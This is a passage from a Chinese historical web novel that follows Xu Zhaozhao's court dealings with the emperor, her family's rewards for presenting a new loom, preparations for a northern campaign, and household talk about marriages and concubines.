“生意上的事,我其实也不怎么上心,都是底下人办事妥贴得力,若是公主再问起,你只管说我如今还想着往外头踢人呢,自然不会再想有人掺进来。而且最主要的是,我这里的事情都是在皇上那里过了明路的,不好再有皇子公主参与进来。” 许昭昭是想躲着宁朔公主的,所以,还是小声提醒乐阳,如此一来,也避免再被公主们记恨。 永安帝的儿子不算多,但是公主是真不少。 当然,除了他的女儿之外,还有先帝留下的长公主们,哪怕是有的已经早逝,但仍然是多得让人头皮发麻。 这其中,并非是每位公主都能让众多勋贵们当回事,有些公主自幼不得宠,嫁人后照样过得不如意,有的甚至是被远嫁了。 宁朔公主是皇帝唯一的嫡公主,所以,许昭昭真不想得罪她。 许昭昭思来想去的,还是觉得得再给自己身上多加一道护身符。 等正月进宫再来拜年的时候,一定要想法子面见圣上。 她宁愿把一些利益白送给圣上,也不愿意有皇子公主们掺和进来。 偌大的皇宫,许昭昭要是诚心躲人,自然是再方便不过。 更不要说许昭昭还是有外挂傍身的。 正月初三,外命妇们要进宫请安,原本许昭昭不必去,可她又是皇上亲封的安乐县主,所以今年也得一道进宫。 不过许昭昭刚进宫门,就被太极殿的大总管给拦住,然后请去御前说话了。 王若兰有些担心,毕竟圣上召见女眷的时候不多。 “夫人放心,侯爷和谢三郎也都在呢。” 王若兰心思被看穿,倒也没有心虚,只是微微颔首:“有劳。” 许昭昭进入太极殿,明显感觉到里面的气氛很愉悦。 果然,没有什么糟心事是被金银财宝治不好的。 如果有,那就是还不够! “许昭昭,今日你父亲和兄长命人抬了几箱子银钱进宫,说是你送给朕的分红?” 许昭昭低头:“回禀陛下,臣女的百果园无论是酿酒,又或者是造纸坊,以及美食铺子,都是承蒙陛下关照。臣女不才,只得些许薄利,不敢独占,故而请父亲和兄长将钱财抬入宫中献于陛下。” “哈哈!你这个丫头呀!朕知道你与乐阳一起在做药材生意呢,怎么样?” “回禀陛下,时日太短,且看不出具体盈收来,但可以确定的是,赚钱是必然的。当时臣女与乐阳郡主一起商量这件事,最初目的本是为了能多换一些药材回来给远征的将士们以底气,不曾想,竟有意外收获。” 永安帝心情大好,大手一挥,就要赏人。 “说说吧,你有什么想要的,但凡是你能说出来的,朕必不回绝你!” 第214章 要不朕收你为干女儿吧 许翰在一旁听得有些紧张,就怕女儿再说出一些什么惊天动地之语来。 “陛下,臣女不要什么赏赐,只想着若是父兄若是出征,能允他们将北方的一些奇花异草或者是种子给臣女带回来就成。” 永安帝挑眉:“又是为了你的百果园?” “回陛下,臣女的确是对这些东西情有独钟。而且,臣女总觉得,有些物什是咱们还不够了解,只要弄回来了,多想想法子,指不定就能为咱们大兴多些粮种或者是药材呢?” 永安帝觉得许昭昭生为了女儿身,着实是可惜了。 不过这样也挺好,他听说许昭昭这人其实很懒,诸多事都是吩咐给手下去做,她自己基本上就是吃吃喝喝,悠闲得很! 想到这丫头年纪轻轻就能这么赚钱,关键是还如此轻松,就算是皇帝,也会嫉妒的。 “行吧,看在你一片孝心的份儿上,朕就收了。不过仅此一次,不必再往宫里送了。” 许昭昭可不傻,皇上可以说不要,但她能说不送吗? 而且这么好的一个表忠心的机会,她才不要错过。 “陛下,您要不要是您的事,可是送不送是臣的事。您若是觉得私库里头的银钱太多了,没地儿放,那您大可以拿来赏人呀!而且虽说今年户部结余不少,但是咱们大兴朝花钱的地方可多着呢。 臣女不才,旁的事情也帮不上什么忙,便只能送些银钱表表孝心。臣女知道,您是看不上这些小钱。您是帝王,管着大兴朝这么大一摊子呢,这些银钱的确是不够您瞧的,但是积少成多嘛,臣女日后多多努力赚钱,争取给您多送一些进来。” 许昭昭这么一说,倒显得皇上疼爱小辈,不愿意让小辈们辛苦。 这拐着弯捧人的话,那是越想越舒服,越听越高兴。 “哈哈!好孩子!既然是你的孝心,那朕就收下了。许木头,你说说你这样的粗人,是怎么生出这般慧质兰心的姑娘的?朕看,你这女儿实在是合眼缘,要不,朕直接收为干女儿如何?” 许翰急眼了:“那不行!臣可就只有这么一个宝贝女儿,您就算是皇上,也不能抢别人家的闺女呀,想要您自己生去!” 永安帝笑骂道:“你个没出息的!这还当着小辈的面儿呢,就这般性子,着实是该打!” 许翰可不怕他,哼了一声,还故意扭脸儿,活脱脱一副恃宠而骄的作派。 永安帝笑着允下许昭昭所求,不仅仅是许翰父子出征,无论是何人出征,只要是带回来的稀罕物,都要先送到许昭昭那里去挑拣一番,再入户部。 这下子,许昭昭可高兴了。 指不定后续就能弄来一些好东西呢。 别小看这么一道旨意,足以看出圣上对安乐县主的宠爱,而且这太极殿中的一段对话,不知怎地就传了出去。 京中权贵们莫不是对于许昭昭刮目相看。 连圣上赞誉不绝,且都要收为义女的安乐县主,那得是多大的福气呀! 许昭昭不管这些,反正只要让某些人彻底死心,那她就开心多了。 而且许昭昭如今手上还多了一样好东西,是陛下赐给她的一枚玉佩。 有了这样东西,日后她便可以随意进出皇宫,且可以直接面圣,不需要再拐着弯的请父兄出面了。 东西不错,但许昭昭觉得能不用的时候就先不用。 有些东西,用的多了,显不出它的珍贵不说,而且还容易让上位者心中不爽。 许昭昭这种得了好处,但又不张扬,而且言行上一直很谦虚低调,且时不时地还把功劳往陛下身上送的做法,深得帝心。 永安帝对这个许昭昭,那是越来越喜欢,越看越满意。 可惜呀,怎么就许给谢铮了。 不过再转念一想,自己的几个儿子里头,好像也没有能配得上她的,算了,就当是便宜谢铮那个小王八蛋了! 不知怎的,永安帝对许昭昭,竟然也生出了几分的爱惜,而且一想到谢铮要娶她过门,这心里头就不是滋味儿,也算是又体验了一把心疼女儿的老父亲的感觉。 宁朔公主得知许昭昭一进宫就被皇上叫走,再一联想到自己今日听到的消息,便明白许昭昭手上的生意再好,她也是难以介入的。 此时,她倒是羡慕起乐阳郡主来了。 乐阳只是亲王之女,但因为齐王是陛下的同胞弟弟,而且又是坚定地站在皇上这一边的,所以,乐阳做什么都可以。 她堂堂公主,做事却要畏手畏尾,这种感觉,憋屈死了! 宁朔公主转念又一想,她插不上手的利益,旁人也别想插手,如此一来,大家伙都一样,呵呵,倒也挺公平的。 的确,先前对百果园起心思的几位皇子公主们,这会儿也都消停了。 看得出来,许昭昭不好惹呀! 现在但凡是长点儿脑子的都知道,许昭昭背后的靠山是陛下,论背景,谁能大得过他? 所以,都老实看着就行,别找事。 问,就是别作死! 再说永安帝将一应银钱入库后,大总管也笑眯眯地过来禀报。 “陛下,安乐县主总共送来银五千两,金五百两,各色宝石一小匣子,另有百年人参两支、何首乌四支,其它名贵药材若干。” 永安帝点点头,许昭昭说给他送钱,那是真送呀! 他原以为不过是几箱子铜钱,而且当时碍于都在,所以也不好意思直接打开,没想到,竟然都给换成了金银。 这么折算下来,是真不少了。 “这丫头有心了。” 永安帝高兴的不仅仅是因为金银,而是听说还有不少的药材,这可都是好东西,而且这丫头敢送,倒是有意思。 “禀陛下,奴问过了,那些药材都是请太医令验看过,才送过来的。另外,许侯爷问,说是既然您这里应了,那下回再送入宫中,是不是就没必要再换成金银了,实在是折腾起来有些麻烦。” 永安帝微微一怔,随即又是一阵大笑。 “这个混账东西,还不如他闺女懂事呢!瞧瞧他那念东念西的样子,哼,朕下回让他一个人一箱箱搬进来,看他还敢不敢再嘀咕!” 第215章 这用处可大了去! 没有人不爱钱财,就连帝王也一样。 帝王最爱的是无上的权利,这一点毌庸置疑,可在权利的基础上,谁不想要更多的钱财,从而能支撑他其它不能满足的欲望? 比如说,永安帝想修葺太极宫。 以前户部总说国帑不足,再后来有了进项,但也大部分都用于各地民生之上,所以,户部现在也的确是拿不出太多的钱来。 这下子,永安帝觉得自己不靠户部,可以自己掏钱来修葺了。 这么一瞬间,永安帝都觉得自己支愣起来了。 许昭昭就是花钱给自己买路走呢。 许昭昭觉得自己不能再折腾了,手底下的产业已经足够多了,再办下去,可能就要出事了。 尤其是她的那个织坊,更得先一步将织布机给传扬出去,若不然,只怕自己就要被朝廷给惦记上了。 所以,许昭昭将织布机的图纸给了表哥王文远,之后又让他和三哥一起敲敲打打,总算是自己动手做出来一台,如此,他们便能将织布机的各项原理都说清楚了。 工部上官看到之后,自然是大为惊叹,之后便又层层上报,所以许君霆和王文远就一起抬着一台织布机进宫了。 “这是你们弄出来的?” 王文远先一步低头:“回禀陛下,微臣不敢居功。最早只是我与表弟受表妹许昭昭的启发才联想到加快织布的速度,再后来,又有几位匠人同心打造,最终才做出来这样的织布机。” “不错!” 永安帝听他们二人讲了这织布机的工作原理之后,又命人现场演示,有了以前的织布机做比对之后,永安帝瞬间就明白这织布机能带来的好处有多巨大了! 不仅仅是天下子民能穿衣用布,更重要的是,有了这个,那他想要打击那些世家也更行之有效了。 许君霆借此机会上禀:“陛下,微臣以为,这东西既然做出来了,也的的确确是能用,倒不如干脆先由官府出面筹办几个大型的织坊,如此一来,那些商户想要再借此控制市价,便不可能。” “言之有理!” “陛下,微臣不敢隐瞒,微臣的妹妹昭昭已经先一步试过,她名下有一处织坊,如今已经正常运作,每日可得布匹在十匹以上。 若是朝廷能建立几处大型的织坊,雇佣民间百姓来操作织布机,不仅可以解决民间百姓的生计问题,而且还可由朝廷直接管辖布匹的生产以及售卖,若是一旦大兴某地出现灾情,又或者是战事,那我们朝廷也可灵活机动,先一步为我们的将士或者是灾民们生产布料,如此一来,也能减轻一些户部的压力。” 许君霆没说的是,最最重要的是,只要朝廷掌握了这些,那么,真出现什么危险的时候,至少在布匹这一块,陛下可以不必受制于人了。 先前的油墨技术,已经让永安帝尝到了甜头。 正是因为这项技术,所以有几大世家手里头的造纸坊或者是书铺都跟着大受打击。 而先前许君霆所进献的玉米种子,更是因为高产,可以大大减轻户部的压力。 大兴朝半数以上的土地都在那些世家手里。 而余下的土地要么是不够肥沃,要么就是还要再赏赐给朝廷功臣,总之,百姓们手里没有土地,这日子自然就难过。 而玉米高产,且有一定的抗旱性,所以如今光是京城就已经有两千余亩的荒地在种植玉米,去岁收获颇丰,刨去一些种子之外,余下的都被分为口粮。 先前许君霆曾上报,今年计划扩大玉米种植,更是可以借此安置一大批的流民乞丐。 据户部顾东阳的估计,今年至少可以种植五千亩的玉米,要知道,这五千亩可都是荒地呀! 果然,只有有人有地,机会就一定会有。 如今,这二人又送上来一件这么好的东西,圣上自然大悦! “来人,赏!” 永安帝记着先前许君霆的大功,如今又是送上一件这等好物,所以赏赐起来,自然是毫不吝啬。 “拟旨,许君霆忠心为国,为我大兴献粮献策,实乃功臣,着封爵开国男,另赏丝帛五匹,南诏红茶两罐!” “谢陛下隆恩!” 在大兴,“开国男”被定为五品,食邑为三百户。 别看品级不高,但大小是个爵位,以后许君霆走出去,也是可以被人称呼一声爵爷的。 而且有食邑,那就意味着不仅仅可以有收入,更重要的是在于陛下的恩宠,这等于是告诉所有人,许君霆入朝时日虽短,却是简在帝心。 至于王文远,永安帝自然也不会落了他。 “王文远为我大兴献策,实乃良臣,擢升为工部司郎中,另赏丝帛五匹,南诏红茶两罐!” “谢陛下恩赏!” 表兄弟俩进宫一趟,一个得了爵位,官职没变;一个升官了,而且是质的飞跃,直接就工部司郎中了,这可是从五品上,且是绝对的实权在握! 王文远人都麻了。 他是怎么也没想到,距离上回表妹跟自己说话才过去多久? 啧,他就这么华丽丽且愉快地被升官了。 这个进度,可以说是拉得飞快! “我能有今日,多亏了昭昭表妹,陛下赏我的丝帛,回头我挑两匹给妹妹送去。至于红茶,听闻昭昭那里有不少,我便再给她寻摸一些稀罕物送上。” 许君霆笑得见牙不见眼的,可是乐坏了。 他都是男爵了,能不高兴嘛! “呵呵,大表哥不必如此。咱们都是自家人,而且昭昭那里什么也不缺,咱们好好办差,不让家里头替咱们操心,昭昭就满意了。” 王文远一想到了自己的为官之路,不由得摇头叹息,谁能想到,他就凭着一辆织布机给升官了呢! 永安帝想到的那些宏伟大计,王文远和许君霆隐约能想到一些,但是不敢深想。 但许昭昭就不一样了。 她就完全把自己放在一个帝王的位置上去想,自然就能想得更长远、更通透。 织布机,这才只是第一步呢。 若是她所料不差,后面朝廷就会大量的种植、收购棉、麻、葛等物,如此一来,才能真正的形成一条完整的产业链。 第216章 真想宰了谢狗 许昭昭微微一笑。 南诏盛产茶叶和药材不假,但是不代表了南诏就不能种粮食。 尤其是水稻,那边种的还是挺不错的。 这一次,许昭昭安排柱子去南诏,还带着一项秘密任务,就是大量地收购南诏的粮食。 价钱高低好说,但是一定要秘密进行,不能让人察觉到是大兴朝的人在收购粮食。 边关要打仗,一打仗,消耗最多的便是粮食。 大兴实行的是府兵制,平时这些人都在家里种田,偶有训练,一般就是一日两食。 可若是打仗,一天只让吃两顿饭,那就一定得是干饭,再不然,就得一日三食。 否则,吃不饱,哪来的力气打仗? 所以,许昭昭怕世家借此机会来哄抬粮价是其一,更怕他们会直接选择以此来跟皇帝谈条件,这才叫真地麻爪了! 粮食是必不可少的。 所以许昭昭现在能做的,就只能是想办法从别的地方弄粮食。 至于那些世家所储备的一些陈粮,在朝廷没有漏出风声之前,他们自然也是要处理的。 比如说直接弄去酿酒,再比如说,他们会适当地低价处理掉一些粮食。 而他们处理粮食,正好就给了朝廷机会。 但愿这一次,朝廷的动作能足够隐秘,也足够快。 事实上,永安帝的确是一直很谨慎,而且也特意安排顾东阳去收粮,并且是想办法既有官家收,又有商户收。 如此,才不会让那些人生疑。 正月十五这日,元宵佳节,朝廷休沐一日,顾东阳却什么也顾不上,一路骑马急奔太极宫,宫前下马后,又是一路小跑,就怕消息在自己手里头给捂化了。 永安帝看着密信,眉头渐渐松开。 “不错!我大兴这次有福了。” 顾东阳安排了明、暗两路人马去买粮,而且又特意多派出一些人手,同时在各地收粮。 这样做的好处,就是不等消息散开,他们就已经将粮食囤积好。 而坏处,就是需要大量的人手。 朝廷缺人吗? 而且这一次,顾东阳还借助了皇帝的亲卫做事,所以,自然是密不透风的同时,又能尽快完成任务。 不敢不好好办差呀。 这次的粮食,直接关系到能不能北上远征。 这可不是闹着玩儿的! 果然,正月十六,礼部又有人拿出年前的关报来说事,之后又有几位御史大夫参与进来,不到一刻钟,朝堂上已经吵成了一锅粥。 最终,还是兵部尚书主动请战,这才算是让永安帝消了几分火气。 “拟旨,册封陆晋为北征大总管,着安信侯许翰为副总管,统辖所有北征事宜。另兵部尽快拟定出出征名单,三日后出发。” “遵旨!” 北征的名单,这就是要让陆晋和许翰来拟定。 这是个机会,尤其是对于武将而言,说什么也得让自家适龄的孩子们去前线走一趟,多少得捞个军功回来,搞不好就能弄个爵位当当呢。 有许翰在,所以他的次子许君锋必然是要跟随出征的,至于陆晋,他的子嗣也不少,但只打算带一个嫡子去,再就是带上女婿,至于其它的,那就得好好商议了。 旨意一出,安信侯府和安国公府都要被人挤破头了。 方大壮也是没等许翰走出太极宫呢,就直接上前来讨战。 他原本就是许翰手下,这次出征自然也会带上,如此一来,方大壮乐呵呵地就回去准备了。 方大壮的嫡长子也不小了,他琢磨着也一块带上,哪怕是回来后捞个校尉也行呀。 谢铮也在名单上。 而且还是陆晋头一个就提的。 因为谢铮曾在冀州边关大败突厥,所以,他有经验。 谢铮原本就是立功无数,且官职不低,此次出征,直接就将他点为了先锋军。 三日后,大军暂时不会开拔,而是谢铮带着五千的先锋军先走,同时,粮草紧随其后。 大兴的最北边儿,如今驻军五万,谢铮带五千精兵先行一步,就是为了替大军打探敌情,同时,也是为了先一步去边关振奋将士们的斗志。 这路上,极有可能是会遇到小股敌人,然后开战的。 也因此,谢铮只要能顺利先一步抵达北城,那就算是立功一件。 许昭昭心中担忧,但是又不得不沉下性子来做各种准备。 首先,有麦冬在她身边,所以应该可以尽快地建起来一条通讯线路。 谢铮将剑九也留下了,不过没在侯府,而是留在了国公府。 这样一来,有剑九和麦冬互通消息,能更稳妥,毕竟他们原本就是一个体系里训练出来的。 许昭昭准备了大量的伤药,以及救命丸。 “这个你要随身带着,只要瓶盖不打开,三个月内可服用,还是那句话,只要头没掉,还有一口气在,便能先保住一命。但若是这瓶盖打开了,便必须在一月内将药用完,否则会失了药效。” “嗯,我记下了。” “这瓶子不大,每个里面我装了九颗药,我为你准备了十瓶,我知你身边带着不少亲卫,总不能眼睁睁地看着他们送死。我爹和我二哥那里也都是同样的量,一个月后,我会再安排麦冬想法子给你们送补给,所以,药管够,你只管用。” 一个月后,谢铮必然已在北城,甚至有可能到了关外,定然已经和突厥交过手了。 所以,一个月后麦冬带几人轻装上阵,他们一路奔袭,顶多有十日便可抵达北城。 如此一来,也算是让谢铮知道她准备的救命药足够用。 “那岳父和二哥那里?” “放心,我也都嘱咐过了。虽然我和太医署那边已经尽最大努力了,但是止血粉和消炎粉的量还是有限,但是两个月内的药应该是够用,我和太医令也会继续努力,争取多弄出一些药粉来。” “好。辛苦你了。” 谢铮现在只着了一身常服,如今看到昭昭为他这般奔忙,且句句中带有情意,一时间竟是情不自禁,直接上前就把人给抱住了! 就在他抱住许昭昭的一瞬间,许君锋正好带着东西来问昭昭的用法,自然将这一幕看在眼里。 这一刻,许君锋深切体会到了父亲的心情,真想把谢狗给宰了呀! 第217章 陈家来人 “谢狗,撒开你的狗爪子!” 这会儿可顾不上什么上锋不上锋的了,许君锋现在就想把谢铮给拉出去痛打一顿。 虽然,他可能打不过谢铮。 但是这不妨碍他的气势暴涨。 许昭昭也是突然意识到什么,快速地将人推开,一脸俏脸儿红的跟要滴出血来一样。 谢铮看着她这娇羞动人的样子,眼睛都挪不开了,哪怕是许君锋过来直接拿脚踹,他也只是微微歪了一下身子,然后才有所反应地跟他边打边往外走。 这表现可太气人了! 许君锋恨不能把他给丢出去,可是谢铮以商讨对战一事来的侯府,他还真不能就这样把人撵出去。 但是,许君锋会告状呀。 他奈何不了这位中郎将,他爹能呀! 许翰一张脸冷的能结冰。 谢铮也知道自己今天做的出格了,挠头道:“今日的确是晚辈的错,岳父大人见谅,呃,等回头小子再来请罪,先告退。” 许翰能怕他跑了? 当天晚上,侯府所有的亲卫们都动起来了,巡逻的那叫一个严实紧密,而且白天家丁还把整个侯府里里外外找了一遍,但凡是有红砖大那么的缝都得给堵严实了,更何况是狗洞了。 这是真把谢铮当狼防了。 闹这么一出,许昭昭反而觉得好笑。 之后的出征,侯府女眷们自然是个个都红了眼眶,但是亲人出征在即,不能掉泪,否则就是不吉。 所以,所有人都在压着自己心中的不舍,努力让自己笑起来。 连平时不怎么出来的老夫人,这回也被扶着出来,亲自将许翰和许君锋送至门外。 侯府的荣耀,自然是当由许家男子的战功来维护。 老夫人出来这一趟,才知道许君霆竟然得封了一个爵位。 这可把老夫人给惊喜一把。 “若兰,小三都得封爵位了,咱们侯府怎么也没有想着庆祝一下?” “回母亲,不是不想,只是侯爷和君锋出征在即,家中实在不便摆宴。况且,不过只是一个最末等的男爵,也不值当大张旗鼓的庆贺,还是先低调一些,待他们父子平安回来再贺也不迟。” 老夫人点头:“也好。回头我就到佛前上柱香,保佑他们父子平安。” 老夫人今日心情好,主要是收到了兄长的信,说是陈家的嫡孙陈琮不日将抵京。 “母亲,不知陈家是只有陈琮一人来了,还是有其它人陪同?” “这次只他一人,原是想着他们兄弟几个一起来的,不过临出发时,家中出了些事,所以便先让琮儿过来了。” “既如此,那儿媳就先安排好住处吧。” 老夫人点头:“我也有七八年没见过琮儿了,不知道这小子变化大不大,是不是还如同幼时那般胖墩墩的。” 王若兰笑道:“小孩子的变化是最大的。七八年过去,琮儿应该是长高了,如今十八岁的年纪,风华正茂,又是秀才郎,定然是风姿翩翩。” 老夫人高兴得半天合不拢嘴,就喜欢有人捧着她的娘家。 陈家如今都回归祖籍,这十余来年,陈家明显是落魄不少,虽说家财不少,但是老夫人的侄子这一辈里头,竟然没有几个出彩的,这就显得陈家人才上断了代,朝堂上便有些势弱了。 其实陈家子侄中有几个也入朝为官了,只是在地方上,并非京官,所以老夫人才会觉得娘家需要帮扶,而且她也的确是太久没有见到娘家人了。 陈琮的人品如何,其实许家人也不太了解。 七八年前曾在府上住过一阵子,那会儿孩子年纪小,且正是顽皮的时候,所以谁也不曾放在心上。 如今再来京城,王若兰还是提起了几分小心。 毕竟家中是有未出阁的姑娘的,一切都马虎不得。 许昭昭深挖原主的记忆,对于这位陈琮表哥其实是没有什么印象的。 但隐约记得小时候一起玩耍过,这位表哥好像还曾给她下水抓过鱼。 也因为下水抓了老侯爷最喜欢的金鲤,所以被老夫人给罚了。 再多的情节,许昭昭就想不起来了。 隐约记得陈琮是个大胖子,一笑就没有眼睛的那种胖,而且长的挺白,所以幼时还有人称呼他为白馒头,也不知现在是何模样。 许昭昭从母亲那里得知,老夫人原本是有和娘家小辈再结亲的打算。 只是许昭昭的婚事定得早,而二房嫡女的婚事也是老侯爷在世时给定下的,所以,老夫人没有合适的人选,这才就此作罢。 主要是老夫人看不上庶女,况且是自己的娘家小辈,岂能娶庶女为妻? 当然,老夫人其实想过让许翰的几个儿子里,有一个做陈家女婿的。 结果,许君安相中的是国公府嫡小姐,这么高的身份,陈家女自然是比不起的,所以就把主意打到了老二身上。 可谁能想到,老二许君锋更牛,直接就和郡王府的县主看对眼了。 等到许君霆的婚事时,老夫人跟儿媳妇提了一句,但是王若兰显然是没放在心上。 不是王若兰瞧不起陈家,主要是陈家离得远,陈家姑娘是什么性子什么模样,谁知道? 就算是许君霆不介意,她这个当母亲的也不放心呀。 万一人品不佳怎么办? 若只是相貌普通倒还则罢了,大不了给儿子纳几房美妾便是。 若是品行败坏,名声有碍,那嫁进许家来,岂非是让儿子成为别人眼中的笑话? 所以,这种事,王若兰可不真不敢应。 如今,老夫人见许翰的三儿一女婚事都有着落了,自然而然地,便将主意打到了二房身上。 二房虽然没有爵位,但如今许文的官职也不低,而且许君清下次再试,定然可以高中,就算是中不了,有许家在呢,也能为其举荐一份好差事。 所以,在老夫人看来,无论许君清有无真本事,将来这日子都不会差,这才想着让陈家人上门。 “对了,琮儿的兄弟虽然没有来,但是他妹妹来了,不知你是否还有印象,叫湘湘的那个小丫头,长得甚是可爱!” 第218章 王若兰教媳 王若兰脸色不变,但是眼神微闪,小心地往弟妹那里瞟一眼后,便笑道:“我还记得这个小姑娘,一双眼睛很漂亮,长得白净,只是不知如今是何模样,怕是等见了要认不出来。” 李氏也跟着笑道:“是呀,这孩子们的变化是最大的。湘湘是琮儿的同胞妹妹,大嫂不若就将她安排得离婷婷、婉婉近一些,她们小姑娘凑到一起也有话说。” “我正有此意。” 谈笑间,便将一切都定下。 许昭昭听说这些后,也只是一笑置之。 与自己无关,与长房无关,只要这陈家兄妹安分度日,那她也不会生事。 至于二房那里,自有婶婶操心,她现在可有正事做呢,无暇来管这等小事。 没等陈琮上门呢,许昭昭就先一步带人去了百果园小住,而且归期不定,走之前还特意跟祖母禀明了,她要去筹备一些药材,因为是要给父兄用的,所以她不放心,想要亲自盯着。 许昭昭一片赤诚之心,老夫人如何不允? 况且许昭昭是有婚约在身的,反正也不可能和陈琮走到一块,所以她在不在府中,老夫人也不介意。 倒是许君清,被老夫人嘱咐要多回来住,也跟陈琮处好关系,日后兴许要在一处读书。 王若兰和李氏都听出来了,这哪里是为了让表兄弟处好关系,只怕是陈家盯上许君清了。 李氏被王若兰邀去屋里说话,一进门这整个人的气场都变了。 “唉!你说说也是我脑子不好使了。就该先把清儿的婚事定下才是!偏被清儿说一句要以学业为重,我便由着他去了。如今可怎么是好?” “弟妹不必担心,清儿也是个有主意的人。而且婚姻大事,也不是老夫人说定就能定下的。你是他的母亲,你若是不答应,谁也不能强逼。” 李氏只觉得心里委屈又憋闷:“话是如此,可老夫人一句不孝压下来,谁敢不听?早知今日,我便是惹得清儿怨我,也得为他将婚事定下来。” “弟妹先别急。陈家姑娘的性子如何,咱们也尚未可知,等人来了,先好好看看。另外,你若是担心,我便差人出京一趟,好好查一查陈家姑娘的事即可,不必如此胆惊受怕的。” “大嫂,多亏有你在!不怕你笑话,我那侄女成了你的三儿媳,我这心里头是无比欢喜的。咱们妯娌相处多年,你向来宽厚,且对小辈们也没有那么多的规矩,我侄女能做你的儿媳妇,真是她的福气。 可如今轮到我自己的儿子,你说说,这让我如何是好?这个许君清,我看他就是读书读傻了,我又不是逼着他成亲,难道连定个亲都不成吗?” “弟妹别急。昭昭认识的贵女不少,而且能和昭昭做朋友的,品行都不差。咱们悄摸地来,只要不让老夫人察觉便是。” 李氏一听,这主意好。 其实,也不是她们妯娌俩对陈家有什么误解,是单纯地觉得见面不多,更谈不上了解。 所以,她们是真不敢贸然的就给自己的儿女定下这样的婚事。 像是王若兰,她自己三儿一女,无论是谁的亲事,都是在自己熟知的人家选的。 另外,当初许君安的婚事是老侯爷给定下的,同时许君安自己也属意张氏,所以这才成了一桩美满姻缘。 王若兰只是单纯地害怕对方品行不佳,再或者是内宅混乱。 大家出身都不差,可是名门之中,这里头不讲人伦的人家可有得是! 李氏一想到前几年京中闹出的一桩丑闻,便只觉得格外恶心。 一女侍二夫,原也不算是太过的。 令人恶心的是,这一女还是出身名门,且竟是同时侍奉父子二人,这简直就是丢尽了女子的脸面! 若那女子是被人逼迫倒也罢了,偏偏还是她自己立身不正,嫁与长者为继室,却又与继子勾连,这等行为,岂能不被人耻笑? “咱们侯府人口简单,不说大哥大嫂夫妻恩爱,只说我们二房,老爷也就只有两个妾室,庶子庶女加起来也就三个,我是真怕那等动不动就妻妾成群的人家呀!” 王若兰又劝上几句后,直至张氏过来请安,李氏才回去了。 张氏知道李氏在为四哥的婚事发愁,自然了关切地问上两句。 “等回头你妹妹忙过这一阵子,让她也帮忙给清儿介绍几位贵女认识一下。你婶婶说的对,不能总是一门心思死读书,还是要多走出去看一看。而且昭昭的朋友们,人品都不差,家世也不错。” 张氏点头:“母亲说的是。” 王若兰想到刚刚离开的李氏,再看看眼前的这个儿媳妇,一时间便起了几分提点的心思。 “你婶婶当年嫁过来的时候,与你叔叔也是十分恩爱的。且一直不曾纳妾,直至后来你婶婶生产时伤了身子,你祖母担心二房日后子嗣单薄,便提出来让二房纳妾。 其实你婶婶是不愿意的,你叔叔起初也不同意,只是后来你婶婶自己先改了主意,最后便是你看到如今的境况。二房如今只有两位小妾,而且出身都不高,起初那几年,你叔叔婶婶之间没少闹别扭。还是后来你婶婶大病一场,他们夫妻二人间把话说开,这才好起来了。” 张氏听得起初有些不知所措,她是小辈,听长辈的这些桃花事,总觉得不妥当。 但是既然母亲特意当着她的面儿说,那必然是有用意的。 果然,王若兰讲完这几句之后,才定定地看着儿媳妇。 “你如今已经生下嫡长子,且身子又调养的好,所以无需担心日后子嗣的事。我是你的婆母,我不会给你塞人,但若是有人越过我来给你塞人,你当如何?” 张氏听得心头一惊,这么刺激的吗? 这等事,直接就拿到明面儿上来说? 张氏心中犹豫不定,当初她怀着身子时,娘家那边没少暗示她给身边的丫环开脸,可她自己就是下不了那个决心,也是真的不愿意。 张氏想到公婆夫妻恩爱,且身边没有旁人,自然也就胆大了些。 “母亲,只要夫君不变心,儿媳自然也不愿意有人来抢夫君的。” 第219章 瞒不过陛下 对于这个回答,王若兰很满意。 “咱们女人呐,要在意名声,可有时候又不必太在意名声。比如说我,当年我嫁给侯爷,怀孕之后,便有人想着让侯爷纳妾,我心里头难受呀,可我是正妻,不能担一个善妒的名头,所以只能是吞着苦果,还要大度地问侯爷的意思。” 王若兰回忆起当年旧事,表情也有几分的复杂。 “好在我没嫁错男人,侯爷自己不想纳妾,并且他自己当着众人的面儿,亲口驳了老夫人的好意,他宁愿自己担一个惧内的名头,也不愿意让我为难。 再后来,不知道多少人使了多少法子想要让侯爷纳妾,想离间我们夫妻,但奈何男人自己立身正,且主意坚定,最终,我们夫妻俩不也还是一直相濡以沫得过到了现在?” 张氏似乎是明白了,但仍然是有几分忐忑。 毕竟,世上如同公爹那般的男子,并不多见。 “安儿是我看着长大的,他是什么性子,我也算是了解几分。只要你不主动将他推远,那么他便不会与你离心。你二叔二婶的例子便在这里摆着,你可明白?” 这一瞬,张氏懂了。 只要她自己不愿意低头,那么夫君必然也是会心疼她的。 正如二房一般,哪怕是后来二叔纳了两房妾室,但是几年后,不也照样是与二婶夫妻恩爱? 所以,她自己不能先软下来,否则,便是等于将牢固的屋子给一些小人开了条缝,由着人家往里头塞一些阿猫阿狗般的人物。 如此一想,似乎便什么都明白了。 “多谢母亲提点,儿媳记下了。您放心,儿媳定然和夫君好好过日子,为侯府开枝散叶,也会好好照顾熊儿长大。” 王若兰一脸欣慰:“你能想明白就最好。” 总算是没有白费她一番唇舌。 至于老二那里,她是丝毫不担心。 安和县主瞧着是个安安静静的性子,实际上却是主意周正,真要做什么事,她可是果决得很,比张氏这个温婉的性子要更狠一些。 若非因为安和县主嫁的是次子,王若兰都想让她来管家了。 不过,安和县主那样的性子,有时候就是太过于霸道了些,不及张氏柔和,这么一看,好像也是各有利弊。 许昭昭倒是聪明得躲出去了,什么亲自盯着制药,自然不过是信口胡诌的。 她只是单纯地想要换个地方鼓捣新东西罢了。 织坊的事,自然是瞒不住,也不需要再瞒了。 而且这是能让女子体现出她们更大价值的好事,所以许昭昭早就有了想要将织布机进献的打算。 不过如今真地进献到御前,她还是需要好好想一想,织坊日后的路要怎么走。 造纸坊那里,其实并不显眼,主要是因为产量没有那么出彩,因为前面还有一家国公府顶着呢,所以她这里就不会太引人注意。 但是,织坊这里,她需要好好想一想。 按道理来说,她可以自己进献织布机,之后再面呈皇后,如此一来,也能为自己讨份荣耀。 但是现在皇子纷争不断,而且谁也不知道圣上到底是属意何人继承大统,所以,许昭昭不敢赌。 无论是曲皇后,还是姜贵妃,她是能不招惹还是不招惹得好。 当然,姜家不一样。 至少,许昭昭是不会放过姜家的。 丁香带了几位年轻妇人进来,一进门,便先都一脸感激地跪下磕头。 “奴等见过主子,愿主子万福。” 许昭昭叫起后,这才细细打量她们几个。 